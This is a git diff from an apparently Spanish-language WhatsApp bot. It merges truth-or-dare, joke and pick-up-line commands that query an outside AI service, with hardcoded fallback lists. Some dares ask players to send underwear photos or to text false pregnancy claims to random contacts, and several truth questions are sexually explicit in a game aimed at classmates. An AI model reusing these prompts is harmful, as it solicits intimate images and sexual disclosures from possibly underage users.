-Desde Abu Hurairah radhiallahu anhu, Rasulullah SAW dijo: "Tengo noventa y nueve nombres, cien menos 1. Quien los memorice entrará en el Paraíso, y él es un acorde que ama el acorde."
-Significado: "De hecho, yo tengo noventa y nueve nombres, también conocido como cien menos uno. Quien los cuente, entrará en el cielo; Él es Witr y ama a Witr".`
+import axios from 'axios'
+let handler = async (m, { conn, command, text, usedPrefix, args}) => {
-let handler = async (m, { args, usedPrefix, command }) => {
- let json = JSON.parse(JSON.stringify(global.asmaulhusna))
- let data = json.map((v, i) => `${i + 1}. ${v.latin}\n${v.arabic}\n${v.translation_id}`).join('\n\n')
- if (isNaN(args[0])) throw `Ejemplo:\n${usedPrefix + command} 1`
- if (args[0]) {
- if (args[0] < 1 || args[0] > 99) throw `mínimo 1 y máximo 99!`
- let { index, latin, arabic, translation_id, translation_en } = json.find(v => v.index == args[0].replace(/[^0-9]/g, ''))
- return m.reply(`🔢 *Número:* ${index}
-${arabic}
+if (command == 'piropo') {
+let query = 'Cuéntame un piropo, solo di el piropo no agregue mas texto.';
+let username = m.sender;
+let logic = "piropo";
+let result;
+try {
+result = await luminsesi(query, username, logic);
+if (!result || result.trim() === "") throw new Error("Respuesta vacía");
+} catch (error) {
+result = pickRandom(piropo);
+}
+await conn.reply(m.chat, `*╭╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼*\n➢ ${result}\n*╰╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼*`, m, {contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null, title: '💞 PIROPO', body: '𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩', previewType: 0, thumbnail: m.pp, sourceUrl: [info.md, info.yt, info.tiktok].getRandom()}}})
+}
+
+if (command == 'chiste') {
+let query = 'Cuéntame un chiste, puede ser de cualquier tipo de humor, no repita los chiste haz chiste como jaimito, yayo, solo di el chiste no agregue mas texto y haz chiste nuevo 2024 no repitan los mismo chiste pasado xD.';
+let username = m.sender;
+let logic = "chiste";
+let result;
+try {
+result = await luminsesi(query, username, logic);
+if (!result || result.trim() === "") throw new Error("Respuesta vacía");
+} catch (error) {
+result = pickRandom(chiste);
+}
+await conn.reply(m.chat, `*┏━━━━━━━━━━━━┓*\n😹 ${result} 😹\n*┗━━━━━━━━━━━━┛*`, m, {contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null, title: '😹 CHISTE', body: '𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩', previewType: 0, thumbnail: m.pp, sourceUrl: [info.md, info.yt, info.tiktok].getRandom()}}})
+}
+
+if (command == 'reto') {
+let query = 'Dame un reto interesante para hacer, solo di el reto no agregue mas texto y no repitan los reto, que sea diferentes y divertido.';
+let username = m.sender;
+let logic = "reto";
+let result;
+try {
+result = await luminsesi(query, username, logic);
+if (!result || result.trim() === "") throw new Error("Respuesta vacía");
+} catch (error) {
+result = pickRandom(bucin);
+}
+await conn.reply(m.chat, `[ 𝙍𝙀𝙏𝙊 😏 ]\n\n"${result}"`, m, {contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null, title: '😏 HE COJISTE RETO', body: '𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩', previewType: 0, thumbnail: m.pp, sourceUrl: [info.md, info.yt, info.tiktok].getRandom()}}})
+}
+if (command == 'verdad') {
+let query = 'Dame una pregunta de verdad intrigante';
+let username = m.sender;
+let logic = "verdad";
+let result;
+try {
+result = await luminsesi(query, username, logic);
+if (!result || result.trim() === "") throw new Error("Respuesta vacía");
+} catch (error) {
+result = pickRandom(bucin);
+}
+await conn.reply(m.chat, `[ 𝙑𝙀𝙍𝘿𝘼𝘿 🤔 ]\n\n“${result}”`, m, {contextInfo: { externalAdReply :{ mediaUrl: null, mediaType: 1, description: null, title: '🤔 ELIGIRTE VERDAD', body: '𝐒𝐮𝐩𝐞𝐫 𝐁𝐨𝐭 𝐃𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩', previewType: 0, thumbnail: m.pp, sourceUrl: [info.md, info.yt, info.tiktok].getRandom()}}})
+}
+
+if (command == 'frases') {
+const ejemplo = `*Asmaul Husna*`
+const organizar = `Desde Abu Hurairah radhiallahu anhu, Rasulullah SAW dijo: "Tengo noventa y nueve nombres, cien menos 1. Quien los memorice entrará en el Paraíso, y él es un acorde que ama el acorde."
+Significado: "De hecho, yo tengo noventa y nueve nombres, también conocido como cien menos uno. Quien los cuente, entrará en el cielo; Él es Witr y ama a Witr".`
+let json = JSON.parse(JSON.stringify(asmaulhusna))
+let data = json.map((v, i) => `${i + 1}. ${v.latin}\n${v.arabic}\n${v.translation_id}`).join('\n\n')
+if (isNaN(args[0])) throw `Ejemplo:\n${usedPrefix + command} 1`
+if (args[0]) {
+if (args[0] < 1 || args[0] > 99) throw `mínimo 1 y máximo 99!`
+let { index, latin, arabic, translation_id, translation_en } = json.find(v => v.index == args[0].replace(/[^0-9]/g, ''))
+return m.reply(`🔢 *Número:* ${index}
+${arabic}
+
${latin}
${translation_id}
${translation_en}
-`.trim())
- }
- m.reply(contoh + data + anjuran)
-}
-handler.help = ['frase [escribe un número 1 - 99]']
-handler.tags = ['quran']
-handler.command = /^(frase(s)?)$/i
+`.trim())}
+m.reply(ejemplo + data + organizar)
+}}
+handler.help = handler.command = ['piropo', 'chiste', 'reto', 'verdad', 'frases']
+handler.tags = ['game'];
+handler.register = true
export default handler
-global.asmaulhusna = [
+async function luminsesi(q, username, logic) {
+try {
+const response = await axios.post("https://luminai.my.id", {
+content: q,
+user: username,
+prompt: logic,
+webSearchMode: true // true = resultado con url
+});
+return response.data.result;
+} catch (error) {
+console.error(error);
+}}
+
+function pickRandom(list) {
+return list[Math.floor(list.length * Math.random())]}
+
+const piropo = ["Me gustaría ser papel para poder envolver ese bombón.", "Eres como wifi sin contraseña, todo el mundo te busca", "Quién fuera bus para andar por las curvas de tu corazón.", "Quiero volar sin alas y salir de este universo, entrar en el tuyo y amarte en silencio.", "Quisiera ser mantequilla para derretirme en tu arepa.", "Si la belleza fuera pecado vos ya estarías en el infierno.", "Me Gustaría Ser Un Gato Para Pasar 7 Vidas A Tu Lado.", "Robar Está Mal Pero Un Beso De Tu Boca Sí Me Lo Robaría.", "Qué Hermoso Es El Cielo Cuando Está Claro Pero Más Hermoso Es El Amor Cuando Te Tengo A Mi Lado.", "Bonita, Camina Por La Sombra, El Sol Derrite Los Chocolates.", "Si Fuera Un Correo Electrónico Serías Mi Contraseña.", "Quisiera que fueses monte para darte machete", "Perdí mi número de teléfono ¿Me das el tuyo?", "¿Cómo te llamas para pedirte de regalo a Santa Claus?", " En el cielo hay muchas estrellas, pero la más brillante está en la Tierra y eres tú.", "¿Acaba de salir el sol o es la sonrisa que me regalas hoy?", "No es el ron ni la cerveza, eres tú quien se me ha subido a la cabeza", "Si hablamos de matemáticas eres la suma de todos mis deseos.", "Pareces Google porque tienes todo lo que yo busco.", "Mi café favorito, es el de tus ojos.", "Quiero ser photoshop para retocarte todo el cuerpo.", "Quisiera que fueras cereal, para cucharearte en las mañanas.", "Quien fuera hambre, para darte tres veces al día."]
+
+const chiste = ["¿Cuál es el último animal que subió al arca de Noé? El del-fin..", "¿Cómo se dice pañuelo en japonés? Saka-moko", "¿Cómo se dice disparo en árabe? Ahí-va-la-bala..", "¿Qué le dice un gusano a otro gusano? Voy a dar una vuelta a la manzana.", "Un gato empieza a ladrar en el tejado de una casa. Otro gato, sorprendido, le dice: Estás loco gato, ¿por qué ladras en vez de maullar? El gatito le responde: ¿A caso no puedo aprender otro idioma?", "El doctor le dice al paciente: respire profundo que lo voy a auscultar. El paciente le responde: doctor, ¿de quién me va a ocultar si no le debo a nadie?\nSale el doctor después de un parto y el padre de la criatura le pregunta: ¿Doctor cómo salió todo? El doctor le dice: todo salió bien, pero tuvimos que colocarle oxígeno al bebé. El padre, horrorizado, le dice: pero doctor, nosotros queríamos ponerle Gabriel..", "Un pez le pregunta a otro pez: ¿qué hace tu mamá? Este le contesta: Nada, ¿y la tuya qué hace? Nada también.", "¿Cuál es el colmo de Aladdín? Tener mal genio", "El profesor le dice al estudiante después de haberle corregido la tarea: Tu trabajo me ha conmovido. El estudiante, sorprendido, le pregunta: ¿Y eso por qué profesor? El profesor con cara de burla le dice: Porque me dio mucha pena.", "Le dice el niño a la madre: Mamá, no quiero jugar más con Pedrito. La madre le pregunta al niño: ¿Por qué no quieres jugar más con él? Porque cuando jugamos a los tacos de madera y le pego con uno en la cabeza, de repente se pone a llorar.", "A Juanito le dice la maestra: Juanito, ¿qué harías si te estuvieses ahogando en la piscina? Juanito le responde: Me pondría a llorar mucho para desahogarme.", "Hijo, me veo gorda, fea y vieja. ¿Qué tengo hijo, qué tengo? Mamá, tienes toda la razón.", "¿Cómo se dice pelo sucio en chino? Chin cham pu.", "Había una vez un niño tan, tan, tan despistado que... ¡da igual, me he olvidado del chiste!", "Una amiga le dice a otra amiga: ¿Qué tal va la vida de casada? Pues no me puedo quejar, dice ella. ¿O sea que va muy bien, no? No, no me puedo quejar porque mi marido está aquí al lado.", "¿Por qué las focas miran siempre hacia arriba? ¡Porque ahí están los focos!", "Camarero, ese filete tiene muchos nervios. Pues normal, es la primera vez que se lo comen.", "¿Cómo se llama el primo de Bruce Lee? Broco Lee.", "Una madre le dice a su hijo: Jaimito, me ha dicho un pajarito que te drogas. La que te drogas eres tú, que hablas con pajaritos."]
+
+const bucin = ["Pasa el pack de una hormiga",
+"Dile a tus amigos que te vas a vivir a EU y mándame una captura de lo que te haya dicho",
+"Grita desde la ventana que quieres mamar y mándame el vídeo",
+"Escribe el nombre de tu crush",
+"Debes de poner el nombre de mi creador en tu estado de WhatsApp, sin dar contexto",
+"Envíame una fotografía tuya",
+"Debes de dibujar en alguna parte de tu cuerpo el nombre de algún integrante del grupo, luego realiza una foto y envíala",
+"Hazte una foto dándole un beso a una Televisión",
+ "Mándame una fotografía en ropa interior",
+"Escribe en tu estado de WhatsApp que te gusta comer tierra",
+"Debes de poner la fotografía de un participante del grupo que sea del sexo opuesto al tuyo en tu perfil de WhatsApp durante 3 días 📸📸",
+"Tienes que mandar un audio cantando la canción: Un pato que va cantando alegremente cua cua 🦆",
+"Envía un mensaje a tu ex y dile todavía me gustas", "Envía un audio diciendo amo a The Shadow Brokers - Bot",
+"Dile a tu crush que la amas y pasa captura al grupo", "Envía un audio cantando",
+"Envía una foto en la que salgas tu sin taparte la cara ni nada", "Envía un video bailando",
+"Invita a personas que no conoces a tomarse una selfi contigo y luego envíalo al grupo",
+"Elija algunos números aleatorios de sus contactos y envíeles un mensaje de texto con el mensaje 'Estoy embarazad@'.",
+"¡Tome cualquier bebida que esté cerca de usted, luego mézclela con chile y beba!",
+"Tome un número aleatorio de sus contactos, llámelo y dígale 'te amo' ",
+"Compre la comida más barata en la cafetería (o compre una botella de agua) y diga entre sollozos a sus compañeros de clase: 'Esta ... es la comida más cara que he comprado)' ",
+" Compre una botella de coca cola y salpique flores con ella frente a la multitud.",
+" Párese cerca del refrigerador, cierre los ojos, elija alimentos al azar en él, incluso cuando coma, sus ojos deben estar cerrados.",
+" De pie en medio de la cancha de baloncesto y gritando: 'TE AMO MI PRÍNCIPE / PRINCESA' ",
+"Presenta tus respetos a alguien de la clase y luego di: 'Estoy a su servicio, Majestad' ",
+" Caminando aplaudiendo y cantando la canción 'Feliz cumpleaños' de la clase al pasillo.",
+" Arrodíllate sobre una rodilla y di '¿Cásate conmigo?' la primera persona en entrar a la habitación.",
+" Haz un tocado absurdo con tejido, sea lo que sea, sigue pidiendo poses frente a la cámara, sigue subiendo",
+"Dile 'ERES HERMOSA / MUY HERMOSA, NO MIENTES' a la chica que crees que es la más bonita de esta clase.",
+" Dile a alguien en clase: 'Primero me dijeron que era tu gemelo, nos separamos y luego me sometí a una cirugía plástica. Y esto es lo más serio que he dicho' ",
+" Tirar el cuaderno de alguien a la basura, frente a sus ojos, diciendo 'Este libro nadie puede entender' ",
+" ¡Arranca el pelo de tu propia pierna 3 veces!",
+" Chatea con tus padres, diles que los extrañas con emoticonos tristes.",
+" Intente buscar en Google cosas aterradoras o ridículas como tripofobia, etc.",
+" Siéntese relajado en medio de la cancha de baloncesto mientras finge que es una playa para tomar el sol.",
+" Llena tu boca de agua y tienes que aguantar hasta dos rondas, si te ríes y derramas o bebes, entonces tienes que volver a llenar y agregar una ronda más.",
+" Salude a la primera persona que entre en esta sala y diga '¡Bienvenido a Quién quiere ser millonario!' ",
+"Envía un mensaje de texto a tus padres '¡Hola, hermano! ¡Acabo de comprar el último número de la revista Playboy!' ",
+"Envíales un mensaje de texto a tus padres: 'Mamá, papá, ya sé que soy un niño adoptado del orfanato. No ocultes esto más'.",
+" Envía tres números aleatorios en tus contactos y escribe 'Me acabo de convertir en modelo de la revista Playboy' ",
+" ¡Come una cucharada de salsa de soja dulce y salsa de soja!",
+" Come algo pero no uses las manos.",
+" Enojarse con sus amigos que no vienen a pesar de que tienen una cita para jugar 'Verdad o Reto' juntos",
+"¡Rompe el huevo con la cabeza!",
+"Coma alimentos que se hayan mezclado y tendrán un sabor extraño, pero asegúrese de que los alimentos no sean dañinos para la salud a largo o corto plazo.",
+"Baila como Girls 'Generation para los niños frente a la clase, o baila como Super Junior para las niñas.",
+"Izar el asta de la bandera sin la bandera.",
+"Hablando de la persona que te gusta, de tus amigos más cercanos, del sexo opuesto que no conoces en absoluto y cosas por el estilo.",
+"Copia los peinados de todos tus amigos.",
+"Cantando la canción HAI TAYO frente a mucha gente mientras baila",
+"Cante la canción Baby Shark en voz alta en el aula.",
+"Pedir prestado algo a los vecinos",
+"Pide la firma de uno de los profesores más feroces mientras dices 'Eres verdaderamente la persona que más admiro en el mundo' ",
+" Pídale dinero a alguien (al azar ) en la calle diciendo 'No tengo dinero para tomar un angkot'.",
+" Beba algo que haya sido preparado / acordado, pero asegúrese de que no sea peligroso, puede ser como beber jarabe mezclado con salsa de soja.",
+" Hablando con el emoticono-miedo de la persona que te gusta, está bien conversar con lo que quieras, a través de cualquier medio que puedas.",
+" Canta tu película de Disney favorita fuera de casa mientras gritas.",
+" Nombra de 1 azul a 20 azules rápidamente y no debes cometer ningún error. Si está mal, debe repetirse desde el principio.",
+" Póngase una corona de papel de copia y diga a todos en la habitación 'HONOR AL REY' mientras señala a cada persona con una regla.",
+" Vuelve a ponerte los pantalones hasta la mañana siguiente.",
+" Abraza a la persona que NO te agrada en clase y di: 'Muchas gracias por ser la mejor persona para mí' ",
+" Ve a un campo amplio, luego corre lo más rápido posible mientras dices 'Estoy loco, estoy loco' ",
+" Elija una flor y luego conéctela a alguien que no conoce (debe ser del sexo opuesto)",
+" Elige a una persona al azar en la calle, luego di 'No sabes que eres hermosa' (ala One Direction)",
+" Fingir estar poseído ejm: poseído por un tigre, etc.",
+" Pídale que silbe ya que su boca está nuevamente llena de comida.",
+" Pide ser un mesero para que te sirva con tus amigos para el almuerzo.",
+" Dígales que usen calcetines para hacer guantes.",
+"Dígales que usen el sombrero más extraño / el casco más absurdo durante la próxima ronda.",
+"Llama a tu mamá y dile 'mamá, quiero casarme lo antes posible' ",
+"Llama a tu ex y di 'te extraño' ",
+"Cambia de ropa con la persona más cercana hasta la siguiente ronda.",
+"Actualice el estado en WhatsApp lo que sea con palabras que comiencen con 'S' ",
+"Sube un video de canto a YouTube que esté cantando canciones populares.",
+"Colorea tus uñas de las manos y de los pies de diferentes colores durante una semana.",
+"come 2 cucharadas de arroz sin guarniciones",
+"Envie el emoji '🦄💨' cada vez que escriba en un grupo 1 día",
+"diga '¡Bienvenido a Quién quiere ser millonario!' a todos los grupos que tienes",
+"canta el coro de la última canción que tocaste",
+"Envia un audio de voz a tu ex / enamorado / novia, dile hola (nombre), quiero llamar, solo un momento. Te Extraño🥺👉🏼👈🏼 ",
+"Dile a la gente al azar: Primero me dijeron que era tu gemelo, nos separamos y luego me sometí a una cirugía plástica. Y esto",
+"¡Haz 1 rima para el primer jugador!",
+"cuenta tu propia versión de cosas vergonzosas",
+"cambiar el nombre a 'Gay' durante 24 horas",
+"¡Menciona tu tipo de novia!",
+"Di 'Estoy enamorado de ti, ¿quieres ser mi novio o no?' al último sexo opuesto con el que conversaste en WhatsApp, espera a que responda",
+"Háblale a tu ex por WhatsApp y dile 'te amo, por favor vuelve'. Manda una captura de pantalla como evidencia de reto cumplido!"]
+
+const verdad = ["¿Alguna vez te ha gustado alguien? ¿Cuánto tiempo?",
+ "Si es posible o si quieres, en gc / fuera de gc, ¿con quién harás amistad? (Puede ser diferente / del mismo tipo)",
+ "¿cual es tu mas grande miedo?",
+ "¿Alguna vez te ha gustado alguien y has sentido a esa persona como tú también?",
+ "¿Cuál es el nombre del exnovio de tu amiga que una vez te gustó en secreto?",
+ "¿Alguna vez has robado el dinero de tu madre o de tu padre? ¿La razón?",
+ "lo que te hace feliz cuando estás triste",
+ "¿Alguna vez has sido amor no correspondido? ¿Si has estado con quién? ¿Cómo se siente brou?",
+ "¿Alguna vez has tenido una aventura con alguien?",
+ "lo más temido",
+ "quién es la persona más influyente en tu vida",
+ "qué orgullo tienes este año",
+ "quién es la persona que puede enfermarte",
+ "quien es la persona que alguna vez te puso cachondo",
+ "(para los musulmanes) ¿nunca has rezado en todo el día?",
+ "¿Quién es el más cercano a su tipo de pareja ideal aquí",
+ "¿Con quién te gusta jugar?",
+ "¿Alguna vez has rechazado a alguien? ¿Por qué?",
+ "Menciona el incidente que te hizo daño y que aún recuerdas",
+ "¿Qué logros has obtenido este año?",
+ "¿Cuál es tu peor hábito en la escuela?", "¿Qué programa de televisión odias más? ¡Da la razón!", "¿Cuál es el vestido más feo (en su opinión) que ha usado y cuándo lo usó?", "¿Qué es lo peor (chisme) que has dicho sobre tu amigo?","¿Qué es lo más vergonzoso de ti?"," ¿Qué es lo primero que ves cuando miras a otra persona (del sexo opuesto)?",
+"¿Qué es lo primero que te viene a la mente cuando te miras al espejo?","¿Que es lo mas tonto que has hecho en tu vida?"," ¿Cuál es el peor sueño que has tenido?"," ¿Cuál es el sueño más loco que puedes recordar hasta ahora?",
+" ¿Cuál es tu peor rasgo en tu opinión?",
+" ¿Qué rasgo te gustaría cambiar de ti mismo?",
+" ¿Qué rasgo te gustaría cambiar en tu amigo?",
+" ¿Qué harías si tu novio te dijera que tienes mala nariz o dedos?",
+" ¿En qué piensas antes de dormir? ej .: fantasear con una pareja, etc.",
+"¿Qué crees que se destaca más de ti?"," ¿Qué parte del cuerpo de tu amigo te gusta más y desearías tener?",
+"¿Qué parte de tu cuerpo odias más?"," De todas las clases de la escuela, ¿a qué clase le gustaría ingresar y qué clase le gustaría evitar?",
+"¡Describe a tu amigo más cercano!"," ¡Descríbete en una palabra!"," ¿Qué películas y canciones te han hecho llorar?",
+" ¿Qué es algo que has mantenido en secreto hasta ahora y nadie lo ha descubierto?",
+" ¿Qué es lo más romántico que alguien (del sexo opuesto) te ha hecho o regalado?",
+"¿Qué es lo más desagradable que has experimentado?",
+" Si nacieras de nuevo y tuvieras que ser uno de tus amigos, ¿a quién elegirías ser?",
+" Si tienes superpoder / superpoder, ¿qué quieres hacer?",
+" Si el apocalipsis llega pronto, ¿qué haces?",
+" Si te pidieran que te sometieras a una cirugía plástica con una muestra de rostro de tu compañero de clase, ¿a quién imitarías?",
+" Alguna vez has robado algo?",
+" ¿Tiene miedo a morir? ¿Por qué?",
+" ¿Cuándo fue la última vez que lloraste y por qué?",
+" ¿Cuáles son tus habilidades especiales?",
+" ¿Cómo te puede gustar la persona que te gusta?",
+" ¿Cuál crees que es un buen rasgo de tu amigo más cercano que él o ella no conozca?",
+" ¿Con qué tipo de persona te gustaría casarte algún día?",
+" En tu opinión, ¿cuál es el trabajo más atractivo para el amigo que está sentado a tu lado? ¿Y por qué?",
+" ¿Con quién quieres intercambiar por un día? (amigos más cercanos que ambos conocen) y por qué",
+" ¿Alguna vez has esperado en secreto que la relación de alguien con su novia se rompiera? ¿Quién?",
+" ¿Prefiere AMIGAS o AMIGOS? ¿Por qué?",
+" ¿Qué cita recuerdas más y te gusta?",
+" ¿Qué secretos nunca les has contado a tus amigos hasta ahora?",
+" ¿Quiénes son sus verdaderos modelos a seguir?",
+" ¿Cuál de tus amigos crees que es matre?",
+" ¿Cuál de tus amigos crees que tiene menos corte de pelo?",
+" ¿Cuál de tus amigos es el más fotogénico? ",
+" ¿Quién es tu mejor ex? ¡¿Y por qué rompieron ?!",
+" ¿Cómo se llama el artista con el que hablaste en secreto?",
+" ¿Cómo se llamaba el profesor que te gustaba?",
+" ¿Cuál es el nombre de la exnovia de tu amigo que te ha gustado en secreto?",
+" ¿Cuál es el nombre de la persona (del sexo opuesto) que crees que sería divertido ser novia?",
+" ¿Cuál es el nombre de la persona que odias, pero crees que le gustas a esa persona (no necesariamente del sexo opuesto)?",
+" ¿Cuál es el nombre de la persona a la que has estado señalando en secreto?",
+" ¿Quién es la persona (del sexo opuesto) que más se te pasa por la cabeza?",
+" ¿Quién es la persona más molesta entre tus amigos? ¡la razón!",
+" ¿A quién de tus amigos crees que debería renovarse?",
+" ¿Quién está más cerca de tu pareja ideal aquí?",
+"Padre o madre",
+"La parte del cuerpo que no te gusta",
+"¿Alguna vez has hecho trampa?",
+"¿Alguna vez te han besado?",
+"¿Qué es lo primero que harías si te despertaras como del sexo opuesto?",
+"¿Alguna vez has dejado que alguien más se meta en problemas por algo que hiciste?",
+"¿Qué es lo más embarazoso que has hecho en tu vida?",
+" ¿Cuál es la razón más ridícula por la que has roto con alguien?",
+" ¿Cuál es el peor hábito que tienes?",
+" ¿Cuál crees que es tu mejor característica? ¿Y que es lo peor?",
+" ¿Cuál es la cosa más valiente que has hecho?",
+" ¿Cuándo fue la última vez que mojaste la cama?",
+" ¿Con qué sueñas más sobre dormir?",
+" Si va a ganar dinero ilegalmente, ¿cómo lo hace?",
+" ¿Qué cosas infantiles sigues haciendo?",
+" Si fueras ciego, ¿quién sería tu perro guía?",
+" ¿Qué es lo que más te impresiona?",
+" Si se le permitiera usar solo 3 palabras durante el resto de la noche a partir de ahora, ¿cuál sería?",
+" Si fueras un dictador, ¿qué ley promulgarías primero?",
+"Si vivieras durante la era nazi, ¿quién serías?",
+"¿Cuál fue la experiencia más vergonzosa en la escuela / tiempo de estudio / educación / el año pasado?",
+"¿Cuál es el mayor error de tu vida?",
+"¿Qué no harías nunca, incluso si supieras que solo te quedan 12 horas de vida?",
+" ¿Qué delitos ha cometido?",
+" Cuéntame un secreto de tu infancia.",
+" ¿Cuál es su mayor representante (secreto)?",
+" ¿Qué quieres hacer conmigo… ( x persona), si luego puedes borrar su memoria (él,…)?",
+" ¿Qué es lo peor que le has hecho a alguien?",
+" ¿Quién te gusta más?",
+"¿Alguna vez te has enamorado de alguno de los presentes?",
+" Si fueras un vampiro, ¿a cuál de nosotros morderías ahora?",
+" ¿Ha defecado alguna vez en público?",
+" ¿Cuál es tu fantasía más oscura?",
+" ¿Qué es lo mejor que has tenido con alguien más?",
+" ¿Cuál es el mayor desvío para ti?",
+" ¿Qué es lo que más te gusta de tu cuerpo y qué es lo más feo?",
+" ¿A quien te gustaría ver desnuda?",
+" ¿Quién en esta ronda puede enamorarte?",
+" ¿Alguna vez has tenido un sueño erótico donde sucedió alguien de este grupo?",
+" Si te vas a tatuar en el área genital, ¿que habrá allí?",
+" ¿Qué es más importante en una relación: el sexo o el amor?",
+" ¿Crees que el sexo es genial, bueno, bueno, divertido a veces, o realmente no te importa?",
+" ¿Qué te hace realmente amar?",
+"¿Cuántas veces a la semana / mes tiene relaciones sexuales y con qué frecuencia desea tener relaciones sexuales?",
+" ¿Con cuántas parejas sexuales te has acostado?",
+" ¿Qué parte del cuerpo te hace más?",
+" ¿Cómo, dónde y con quién estuviste primero?",
+" ¿Qué importancia tienen para ti los juegos previos prolongados?",
+" ¿Qué debe hacer un hombre o una mujer para seducirte?",
+" ¿Alguna vez has tenido sexo con un buen amigo?",
+" ¿Alguna vez ha tenido relaciones sexuales con alguno de estos grupos, excepto con su pareja?",
+"¿Qué animal se adapta mejor a ti y por qué?",
+" ¿Cuál es tu peor cita?",
+" ¿A quién quieres besar ahora?",
+" ¿Cuál es tu oscura fantasía secreta?",
+" ¿Prefieres tatuarte el culo o perforarte la lengua?",
+" ¿Eres siempre leal?",
+" ¿Tienes un enamoramiento adolescente?",
+" ¿De qué persona te enamoraste?",
+" ¿Con qué celebridad te gustaría salir?",
+" ¿Cuál fue el momento más embarazoso de tu vida?",
+" ¿Qué boca te gusta más del grupo de aquí?",
+" ¿Qué jugador tiene la mano más hermosa?",
+" ¿Dónde fue tu primer beso?",
+" ¿A quién del grupo te gustaría besar más?",
+" ¿Quién en la mesa es quizás el más divertido?",
+" ¿Cuál es el mayor error de tu vida?",
+" ¿Te pasó algo vergonzoso en una cita?",
+" ¿Ha estado alguna vez en contacto con drogas?",
+" ¿A qué persona quieres besar ahora?",
+" ¿Cuándo fue la última vez que estuvo borracho?",
+" ¿Alguna vez has hecho trampa en un examen escolar?",
+" ¿Has robado algo en el pasado?",
+" ¿Roncas por la noche?",
+" ¿Cuales tu cancion favorita?",
+" ¿Con qué jugadores comerciará durante 1 semana y por qué?",
+" Te mudaste a una isla desierta, ¿a quién te llevaste de aquí?",
+" ¿A que temes más?",
+" ¿Dónde te afeitas en todas partes?",
+"¿Tienes un apodo?",
+" ¿Miras en el baño antes de lavarte?",
+"¿Quién te dio la peor angustia?",
+" Cuantas veces te has besado",
+"¿Qué es lo más embarazoso que te ha pasado?",
+"¿Cuántos chicos / chicas has besado?",
+"¿De quien estas enamorado(a) ?",
+"Que estrella te gusta",
+"¿Empezaste algo con XY (insertar nombre)?",
+"Alguna vez has robado algo?"]
+
+const asmaulhusna = [
{
index: 1,
latin: "💐 *Autor:* *John Maxwell*",
diff --git a/plugins/fun-reto.js b/plugins/fun-reto.js
deleted file mode 100644
index e38a5804c..000000000
--- a/plugins/fun-reto.js
+++ /dev/null
@@ -1,107 +0,0 @@
-let handler = async (m, { conn, usedPrefix, command }) => {
-conn.reply(m.chat,`╭━━━━━[ 𝙍𝙀𝙏𝙊 😏 ]━━━━⬣\n*“${pickRandom(global.bucin)}”*\n╰━━━━━━[ ${vs} ]━━━━━⬣`, m)}
-/*conn.sendHydrated(m.chat, `╭━━━━━[ 𝙍𝙀𝙏𝙊 😏 ]━━━━⬣\n*“${pickRandom(global.bucin)}”*\n╰━━━━━━[ ${vs} ]━━━━━⬣`, wm, null, md, '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫', null, null, [
-['𝙊𝙩𝙧𝙖 𝙫𝙚𝙯 🧐', `${usedPrefix}reto`],
-['𝙏𝙤𝙥𝙨 🏆', `${usedPrefix}top`],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', `${usedPrefix}menu`]
-], m,)}*/
-
-handler.help = ['reto']
-handler.tags = ['fun']
-handler.command = /^reto/i
-handler.fail = null
-export default handler
-
-function pickRandom(list) {
- return list[Math.floor(list.length * Math.random())]
-}
-
-// https://jalantikus.com/tips/kata-kata-bucin/
-global.bucin = [
-"Pasa el pack de una hormiga",
-"Dile a tus amigos que te vas a vivir a EU y mándame una captura de lo que te haya dicho",
-"Grita desde la ventana que quieres mamar y mándame el vídeo",
-"Escribe el nombre de tu crush",
-"Debes de poner el nombre de mi creador en tu estado de WhatsApp, sin dar contexto",
-"Envíame una fotografía tuya",
-"Debes de dibujar en alguna parte de tu cuerpo el nombre de algún integrante del grupo, luego realiza una foto y envíala",
-"Hazte una foto dándole un beso a una Televisión",
- "Mándame una fotografía en ropa interior",
-"Escribe en tu estado de WhatsApp que te gusta comer tierra",
-"Debes de poner la fotografía de un participante del grupo que sea del sexo opuesto al tuyo en tu perfil de WhatsApp durante 3 días 📸📸",
-"Tienes que mandar un audio cantando la canción: Un pato que va cantando alegremente cua cua 🦆",
-"Envía un mensaje a tu ex y dile todavía me gustas", "Envía un audio diciendo amo a The Shadow Brokers - Bot",
-"Dile a tu crush que la amas y pasa captura al grupo", "Envía un audio cantando",
-"Envía una foto en la que salgas tu sin taparte la cara ni nada", "Envía un video bailando",
-"Invita a personas que no conoces a tomarse una selfi contigo y luego envíalo al grupo",
-"Elija algunos números aleatorios de sus contactos y envíeles un mensaje de texto con el mensaje 'Estoy embarazad@'.",
-"¡Tome cualquier bebida que esté cerca de usted, luego mézclela con chile y beba!",
-"Tome un número aleatorio de sus contactos, llámelo y dígale 'te amo' ",
-"Compre la comida más barata en la cafetería (o compre una botella de agua) y diga entre sollozos a sus compañeros de clase: 'Esta ... es la comida más cara que he comprado)' ",
-" Compre una botella de coca cola y salpique flores con ella frente a la multitud.",
-" Párese cerca del refrigerador, cierre los ojos, elija alimentos al azar en él, incluso cuando coma, sus ojos deben estar cerrados.",
-" De pie en medio de la cancha de baloncesto y gritando: 'TE AMO MI PRÍNCIPE / PRINCESA' ",
-"Presenta tus respetos a alguien de la clase y luego di: 'Estoy a su servicio, Majestad' ",
-" Caminando aplaudiendo y cantando la canción 'Feliz cumpleaños' de la clase al pasillo.",
-" Arrodíllate sobre una rodilla y di '¿Cásate conmigo?' la primera persona en entrar a la habitación.",
-" Haz un tocado absurdo con tejido, sea lo que sea, sigue pidiendo poses frente a la cámara, sigue subiendo",
